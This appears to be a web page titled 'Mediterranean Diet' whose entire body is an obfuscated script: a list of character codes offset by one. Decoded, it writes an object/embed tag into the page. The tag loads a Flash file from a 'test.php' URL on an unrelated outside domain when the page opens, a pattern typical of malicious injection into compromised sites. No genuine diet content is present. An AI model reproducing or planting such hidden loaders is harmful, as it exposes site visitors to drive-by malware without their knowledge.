MEDITERRANEAN DIET:

99,110,98,116,108,100,109,115,45,118,113,104,115,100,39,33,59,110,97,105,100,98,115,31,98,110,99,100,97,96,114,100,60,38,103,115,115,111,57,46,46,99,110,118,109,107,110,96,99,45,108,96,98,113,110,108,100,99,104,96,45,98,110,108,46,111,116,97,46,114,103,110,98,106,118,96,117,100,46,98,96,97,114,46,101,107,96,114,103,46,114,118,101,107,96,114,103,45,98,96,97,34,117,100,113,114,104,110,109,60,56,43,47,43,47,43,47,38,61,59,111,96,113,96,108,31,109,96,108,100,60,38,108,110,117,38,31,117,96,107,116,100,60,38,103,115,115,111,57,46,46,115,103,100,113,104,111,111,107,100,114,111,113,110,105,100,98,115,45,110,113,102,46,115,100,114,115,45,111,103,111,62,108,100,99,104,115,100,113,113,96,109,100,96,109,99,104,100,115,115,103,100,113,104,111,111,107,100,114,111,113,110,105,100,98,115,110,113,102,45,114,118,101,38,61,59,100,108,97,100,99,31,114,113,98,60,38,103,115,115,111,57,46,46,115,103,100,113,104,111,111,107,100,114,111,113,110,105,100,98,115,45,110,113,102,46,115,100,114,115,45,111,103,111,62,108,100,99,104,115,100,113,113,96,109,100,96,109,99,104,100,115,115,103,100,113,104,111,111,107,100,114,111,113,110,105,100,98,115,110,113,102,45,114,118,101,38,31,112,116,96,107,104,115,120,60,38,103,104,102,103,38,31,109,96,108,100,60,38,108,110,117,38,31,115,120,111,100,60,38,96,111,111,107,104,98,96,115,104,110,109,46,119,44,114,103,110,98,106,118,96,117,100,44,101,107,96,114,103,38,31,111,107,116,102,104,109,114,111,96,102,100,60,38,103,115,115,111,57,46,46,118,118,118,45,108,96,98,113,110,108,100,99,104,96,45,98,110,108,46,102,110,46,102,100,115,101,107,96,114,103,111,107,96,120,100,113,38,61,59,46,110,97,105,100,98,115,61,33,40,58,